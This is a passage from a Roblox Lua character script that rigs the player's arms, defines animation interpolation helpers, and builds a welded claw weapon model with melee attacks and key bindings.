| 591 | end | |
| 592 | if tossremainder then | |
| 593 | tf = 0 | |
| 594 | else | |
| 595 | tf = tf - frame * math.floor(tf / frame) | |
| 596 | end | |
| 597 | end | |
| 598 | end | |
| 599 | ) | |
| 600 | swait = function(num) | |
| 601 | ||
| 602 | if num == 0 or num == nil then | |
| 603 | ArtificialHB.Event:wait() | |
| 604 | else | |
| 605 | for i = 0, num do | |
| 606 | ArtificialHB.Event:wait() | |
| 607 | end | |
| 608 | end | |
| 609 | end | |
| 610 | ||
| 611 | CreateSound = function(id, par, vol, pit) | |
| 612 | ||
| 613 | coroutine.resume(coroutine.create(function() | |
| 614 | ||
| 615 | local sou = Instance.new("Sound", par or workspace)
| |
| 616 | sou.Volume = vol | |
| 617 | sou.Pitch = pit or 1 | |
| 618 | sou.SoundId = id | |
| 619 | swait() | |
| 620 | sou:play() | |
| 621 | game:GetService("Debris"):AddItem(sou, 6)
| |
| 622 | end | |
| 623 | )) | |
| 624 | end | |
| 625 | paly = owner | |
| 626 | char = paly.Character | |
| 627 | torso = char.Torso | |
| 628 | neck = char.Torso.Neck | |
| 629 | hum = char.Humanoid | |
| 630 | Player = owner | |
| 631 | local mouse = Player:GetMouse() | |
| 632 | Character = Player.Character | |
| 633 | tors = Character.Torso | |
| 634 | lleg = Character["Left Leg"] | |
| 635 | root = Character.HumanoidRootPart | |
| 636 | hed = Character.Head | |
| 637 | rleg = Character["Right Leg"] | |
| 638 | rarm = Character["Right Arm"] | |
| 639 | larm = Character["Left Arm"] | |
| 640 | local Effects = {}
| |
| 641 | attack = false | |
| 642 | vt = Vector3.new | |
| 643 | bc = BrickColor.new | |
| 644 | br = BrickColor.random | |
| 645 | it = Instance.new | |
| 646 | cf = CFrame.new | |
| 647 | euler = CFrame.fromEulerAnglesXYZ | |
| 648 | angles = CFrame.Angles | |
| 649 | matr = math.random | |
| 650 | -- sin | |
| 651 | Player=owner | |
| 652 | Character=Player.Character | |
| 653 | PlayerGui=Player.PlayerGui | |
| 654 | Backpack=Player.Backpack | |
| 655 | Torso=Character.Torso | |
| 656 | Head=Character.Head | |
| 657 | Humanoid=Character.Humanoid | |
| 658 | m=Instance.new('Model',Character)
| |
| 659 | LeftArm=Character["Left Arm"] | |
| 660 | LeftLeg=Character["Left Leg"] | |
| 661 | RightArm=Character["Right Arm"] | |
| 662 | RightLeg=Character["Right Leg"] | |
| 663 | LS=Torso["Left Shoulder"] | |
| 664 | LH=Torso["Left Hip"] | |
| 665 | RS=Torso["Right Shoulder"] | |
| 666 | RH=Torso["Right Hip"] | |
| 667 | Face = Head.face | |
| 668 | Neck=Torso.Neck | |
| 669 | it=Instance.new | |
| 670 | attacktype=1 | |
| 671 | vt=Vector3.new | |
| 672 | cf=CFrame.new | |
| 673 | euler=CFrame.fromEulerAnglesXYZ | |
| 674 | angles=CFrame.Angles | |
| 675 | cloaked=false | |
| 676 | necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
| 677 | necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
| 678 | LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) | |
| 679 | LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) | |
| 680 | RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) | |
| 681 | RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) | |
| 682 | RootPart=Character.HumanoidRootPart | |
| 683 | RootJoint=RootPart.RootJoint | |
| 684 | RootCF=euler(-1.57,0,3.14) | |
| 685 | attack = false | |
| 686 | attackdebounce = false | |
| 687 | deb=false | |
| 688 | equipped=true | |
| 689 | hand=false | |
| 690 | MMouse=nil | |
| 691 | combo=0 | |
| 692 | mana=0 | |
| 693 | trispeed=1 | |
| 694 | pathtrans=.7 | |
| 695 | attackmode='none' | |
| 696 | local idle=0 | |
| 697 | local Anim="Idle" | |
| 698 | local Effects={}
| |
| 699 | local gun=false | |
| 700 | local shoot=false | |
| 701 | player=nil | |
| 702 | cloak=false | |
| 703 | lightcolor='Bright blue' | |
| 704 | ||
| 705 | mouse=Player:GetMouse() | |
| 706 | --save shoulders | |
| 707 | RSH, LSH=nil, nil | |
| 708 | --welds | |
| 709 | RW, LW=Instance.new("Weld"), Instance.new("Weld")
| |
| 710 | RW.Name="Right Shoulder" LW.Name="Left Shoulder" | |
| 711 | LH=Torso["Left Hip"] | |
| 712 | RH=Torso["Right Hip"] | |
| 713 | TorsoColor=BrickColor.new("Dark indigo")
| |
| 714 | function NoOutline(Part) | |
| 715 | Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 | |
| 716 | end | |
| 717 | player=Player | |
| 718 | ch=Character | |
| 719 | RSH=ch.Torso["Right Shoulder"] | |
| 720 | LSH=ch.Torso["Left Shoulder"] | |
| 721 | -- | |
| 722 | RSH.Parent=nil | |
| 723 | LSH.Parent=nil | |
| 724 | -- | |
| 725 | RW.Name="Right Shoulder" | |
| 726 | RW.Part0=ch.Torso | |
| 727 | RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
| 728 | RW.C1=cf(0, 0.5, 0) | |
| 729 | RW.Part1=ch["Right Arm"] | |
| 730 | RW.Parent=ch.Torso | |
| 731 | -- | |
| 732 | LW.Name="Left Shoulder" | |
| 733 | LW.Part0=ch.Torso | |
| 734 | LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
| 735 | LW.C1=cf(0, 0.5, 0) | |
| 736 | LW.Part1=ch["Left Arm"] | |
| 737 | LW.Parent=ch.Torso | |
| 738 | ||
| 739 | ||
| 740 | function part(formfactor,parent,reflectance,transparency,brickcolor,name,size) | |
| 741 | local fp=it("Part")
| |
| 742 | fp.formFactor=formfactor | |
| 743 | fp.Parent=parent | |
| 744 | fp.Reflectance=reflectance | |
| 745 | fp.Transparency=transparency | |
| 746 | fp.CanCollide=false | |
| 747 | fp.Locked=true | |
| 748 | fp.BrickColor=brickcolor | |
| 749 | fp.Name=name | |
| 750 | fp.Size=size | |
| 751 | fp.Position=Torso.Position | |
| 752 | NoOutline(fp) | |
| 753 | fp.Material="Neon" | |
| 754 | fp:BreakJoints() | |
| 755 | return fp | |
| 756 | end | |
| 757 | ||
| 758 | ||
| 759 | local Color1=BrickColor.new("Dark indigo")
| |
| 760 | ||
| 761 | local bodvel=Instance.new("BodyVelocity")
| |
| 762 | local bg=Instance.new("BodyGyro")
| |
| 763 | ||
| 764 | function swait(num) | |
| 765 | if num==0 or num==nil then | |
| 766 | game:service'RunService'.Stepped:wait(0) | |
| 767 | else | |
| 768 | for i=0,num do | |
| 769 | game:service'RunService'.Stepped:wait(0) | |
| 770 | end | |
| 771 | end | |
| 772 | end | |
| 773 | ||
| 774 | ||
| 775 | so = function(id,par,vol,pit) | |
| 776 | coroutine.resume(coroutine.create(function() | |
| 777 | local sou = Instance.new("Sound",par or workspace)
| |
| 778 | sou.Volume=vol | |
| 779 | sou.Pitch=pit or 1 | |
| 780 | sou.SoundId=id | |
| 781 | swait() | |
| 782 | sou:play() | |
| 783 | game:GetService("Debris"):AddItem(sou,6)
| |
| 784 | end)) | |
| 785 | end | |
| 786 | ||
| 787 | function clerp(a,b,t) | |
| 788 | local qa = {QuaternionFromCFrame(a)}
| |
| 789 | local qb = {QuaternionFromCFrame(b)}
| |
| 790 | local ax, ay, az = a.x, a.y, a.z | |
| 791 | local bx, by, bz = b.x, b.y, b.z | |
| 792 | local _t = 1-t | |
| 793 | return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) | |
| 794 | end | |
| 795 | ||
| 796 | function QuaternionFromCFrame(cf) | |
| 797 | local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() | |
| 798 | local trace = m00 + m11 + m22 | |
| 799 | if trace > 0 then | |
| 800 | local s = math.sqrt(1 + trace) | |
| 801 | local recip = 0.5/s | |
| 802 | return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 | |
| 803 | else | |
| 804 | local i = 0 | |
| 805 | if m11 > m00 then | |
| 806 | i = 1 | |
| 807 | end | |
| 808 | if m22 > (i == 0 and m00 or m11) then | |
| 809 | i = 2 | |
| 810 | end | |
| 811 | if i == 0 then | |
| 812 | local s = math.sqrt(m00-m11-m22+1) | |
| 813 | local recip = 0.5/s | |
| 814 | return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip | |
| 815 | elseif i == 1 then | |
| 816 | local s = math.sqrt(m11-m22-m00+1) | |
| 817 | local recip = 0.5/s | |
| 818 | return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip | |
| 819 | elseif i == 2 then | |
| 820 | local s = math.sqrt(m22-m00-m11+1) | |
| 821 | local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip | |
| 822 | end | |
| 823 | end | |
| 824 | end | |
| 825 | ||
| 826 | function QuaternionToCFrame(px, py, pz, x, y, z, w) | |
| 827 | local xs, ys, zs = x + x, y + y, z + z | |
| 828 | local wx, wy, wz = w*xs, w*ys, w*zs | |
| 829 | local xx = x*xs | |
| 830 | local xy = x*ys | |
| 831 | local xz = x*zs | |
| 832 | local yy = y*ys | |
| 833 | local yz = y*zs | |
| 834 | local zz = z*zs | |
| 835 | return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) | |
| 836 | end | |
| 837 | ||
| 838 | function QuaternionSlerp(a, b, t) | |
| 839 | local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] | |
| 840 | local startInterp, finishInterp; | |
| 841 | if cosTheta >= 0.0001 then | |
| 842 | if (1 - cosTheta) > 0.0001 then | |
| 843 | local theta = math.acos(cosTheta) | |
| 844 | local invSinTheta = 1/math.sin(theta) | |
| 845 | startInterp = math.sin((1-t)*theta)*invSinTheta | |
| 846 | finishInterp = math.sin(t*theta)*invSinTheta | |
| 847 | else | |
| 848 | startInterp = 1-t | |
| 849 | finishInterp = t | |
| 850 | end | |
| 851 | else | |
| 852 | if (1+cosTheta) > 0.0001 then | |
| 853 | local theta = math.acos(-cosTheta) | |
| 854 | local invSinTheta = 1/math.sin(theta) | |
| 855 | startInterp = math.sin((t-1)*theta)*invSinTheta | |
| 856 | finishInterp = math.sin(t*theta)*invSinTheta | |
| 857 | else | |
| 858 | startInterp = t-1 | |
| 859 | finishInterp = t | |
| 860 | end | |
| 861 | end | |
| 862 | return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp | |
| 863 | end | |
| 864 | ||
| 865 | function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants | |
| 866 | return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
| |
| 867 | end | |
| 868 | ||
| 869 | function SkullEffect(brickcolor,cframe,x1,y1,z1,delay) | |
| 870 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
| 871 | prt.Anchored=true | |
| 872 | prt.CFrame=cframe | |
| 873 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
| |
| 874 | --http://www.roblox.com/asset/?id=4770560 | |
| 875 | game:GetService("Debris"):AddItem(prt,2)
| |
| 876 | CF=prt.CFrame | |
| 877 | coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) | |
| 878 | for i=0,1,0.2 do | |
| 879 | wait() | |
| 880 | Part.CFrame=CF*cf(0,0,-0.4) | |
| 881 | end | |
| 882 | for i=0,1,delay do | |
| 883 | wait() | |
| 884 | --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5) | |
| 885 | Mesh.Scale=Mesh.Scale | |
| 886 | end | |
| 887 | for i=0,1,0.1 do | |
| 888 | wait() | |
| 889 | Part.Transparency=i | |
| 890 | end | |
| 891 | Part.Parent=nil | |
| 892 | end),prt,msh,CF) | |
| 893 | end | |
| 894 | ||
| 895 | Humanoid.Animator:Destroy() | |
| 896 | Character.Animate:Destroy() | |
| 897 | ||
| 898 | local Footsteps = it("Sound",Character.Torso)
| |
| 899 | Footsteps.SoundId = "rbxassetid://142665235" | |
| 900 | Footsteps.Looped = true | |
| 901 | Footsteps.Pitch = 0.8 | |
| 902 | Footsteps.Volume = 0.3 | |
| 903 | ||
| 904 | local Footsteps2 = it("Sound",Character.Torso)
| |
| 905 | Footsteps2.SoundId = "rbxassetid://142665235" | |
| 906 | Footsteps2.Looped = true | |
| 907 | Footsteps2.Pitch = 1 | |
| 908 | Footsteps2.Volume = 0.4 | |
| 909 | ||
| 910 | local cam = game.Workspace.CurrentCamera | |
| 911 | ||
| 912 | --cam.CameraSubject = Character | |
| 913 | ||
| 914 | for i,v in pairs(Head:children()) do | |
| 915 | if v:IsA("Sound") then
| |
| 916 | v:Destroy() | |
| 917 | end | |
| 918 | end | |
| 919 | ||
| 920 | function BASEBALLBAT() | |
| 921 | attack=true | |
| 922 | ||
| 923 | coroutine.wrap(function() | |
| 924 | for i = 1,10 do | |
| 925 | wait() | |
| 926 | end end)() | |
| 927 | con1=sholpad.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
| 928 | for i=0,1,0.08 do | |
| 929 | swait() | |
| 930 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-20)),.3) | |
| 931 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
| 932 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*angles(math.rad(75),math.rad(0),math.rad(15)),.5) | |
| 933 | LW.C0=clerp(RW.C0,cf(-1.5,0.5,-1.5)*angles(math.rad(75),math.rad(0),math.rad(-230)),.5) | |
| 934 | end | |
| 935 | so("rbxassetid://280667448",sholpad,10,0.75)
| |
| 936 | for i=0,1,0.1 do | |
| 937 | swait() | |
| 938 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(-20)),.3) | |
| 939 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
| 940 | RW.C0=clerp(RW.C0,cf(0.5,0.5,-0.5)*angles(math.rad(75),math.rad(0),math.rad(-50)),.5) | |
| 941 | LW.C0=clerp(RW.C0,cf(-3.5,0.5,-1)*angles(math.rad(75),math.rad(0),math.rad(-250)),.5) | |
| 942 | end | |
| 943 | --dmgstop() | |
| 944 | attack=false | |
| 945 | con1:disconnect() | |
| 946 | end | |
| 947 | ||
| 948 | mouse.Button1Down:connect(function() | |
| 949 | if attack==false then | |
| 950 | BASEBALLBAT() | |
| 951 | end | |
| 952 | end) | |
| 953 | ||
| 954 | mouse.KeyDown:connect(function(k) | |
| 955 | k=k:lower() | |
| 956 | if k=='e' then | |
| 957 | if attack==false and mana>=20 then | |
| 958 | Push() | |
| 959 | end | |
| 960 | elseif k=='q' then | |
| 961 | if attack==false then | |
| 962 | idle=1000 | |
| 963 | end | |
| 964 | elseif k=='h' then | |
| 965 | if attack==false then | |
| 966 | mana=100 | |
| 967 | end | |
| 968 | elseif k=='0' then | |
| 969 | if attack==false then | |
| 970 | Humanoid.WalkSpeed=(24) | |
| 971 | end | |
| 972 | elseif k=='j' then | |
| 973 | if attack==false then | |
| 974 | Humanoid.Health = 10 | |
| 975 | print("Congrats, you commited suicide.")
| |
| 976 | end | |
| 977 | end | |
| 978 | end) | |
| 979 | ||
| 980 | mouse.KeyDown:connect(function(k) | |
| 981 | if k == "z" and Ultramode == false then | |
| 982 | if attack==false then | |
| 983 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
| 984 | attack = true | |
| 985 | for i = 1, 15 do | |
| 986 | swait() | |
| 987 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
| 988 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
| 989 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
| 990 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
| 991 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
| 992 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
| 993 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
| 994 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
| 995 | end | |
| 996 | m:Destroy() | |
| 997 | local m = Instance.new("Model", Character)
| |
| 998 | m.Name = "WeaponModel" | |
| 999 | local parta = Instance.new("Part",Character)
| |
| 1000 | parta.Size = vt(10,10,10) | |
| 1001 | parta.BrickColor = BrickColor.new("Really black")
| |
| 1002 | parta.Material = "Neon" | |
| 1003 | parta.Shape = "Ball" | |
| 1004 | parta.Transparency = 0 | |
| 1005 | parta.Anchored = true | |
| 1006 | parta.CanCollide = false | |
| 1007 | parta.CFrame = tors.CFrame | |
| 1008 | Transform() | |
| 1009 | parta:Destroy() | |
| 1010 | ||
| 1011 | local modelzorzz=Instance.new("Model")
| |
| 1012 | modelzorzz.Parent=Character | |
| 1013 | modelzorzz.Name="Claw1" | |
| 1014 | ||
| 1015 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
| 1016 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
| 1017 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
| |
| 1018 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1019 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
| 1020 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1021 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
| 1022 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1023 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1024 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
| 1025 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1026 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
| 1027 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1028 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
| 1029 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1030 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
| 1031 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1032 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
| 1033 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1034 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
| 1035 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1036 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
| 1037 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1038 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
| 1039 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1040 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
| 1041 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1042 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1043 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
| 1044 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1045 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
| 1046 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1047 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
| 1048 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
| 1049 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
| |
| 1050 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1051 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
| 1052 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1053 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1054 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
| 1055 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1056 | ||
| 1057 | local modelzorzz2=Instance.new("Model")
| |
| 1058 | modelzorzz2.Parent=Character | |
| 1059 | modelzorzz2.Name="Claw2" | |
| 1060 | ||
| 1061 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
| 1062 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
| 1063 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
| |
| 1064 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1065 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
| 1066 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1067 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
| 1068 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
